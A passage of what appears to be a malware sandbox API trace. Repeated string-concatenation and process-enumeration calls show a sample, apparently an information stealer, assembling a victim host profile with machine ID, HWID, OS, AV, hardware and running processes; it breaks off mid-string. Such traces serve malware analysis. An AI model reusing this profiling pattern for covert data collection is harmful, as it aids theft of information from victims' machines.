3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288"
[0054.875] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n"
[0054.875] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="sister-staff.exe")) returned 1
[0054.876] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- "
[0054.876] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- ", lpString2="sister-staff.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe"
[0054.876] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe 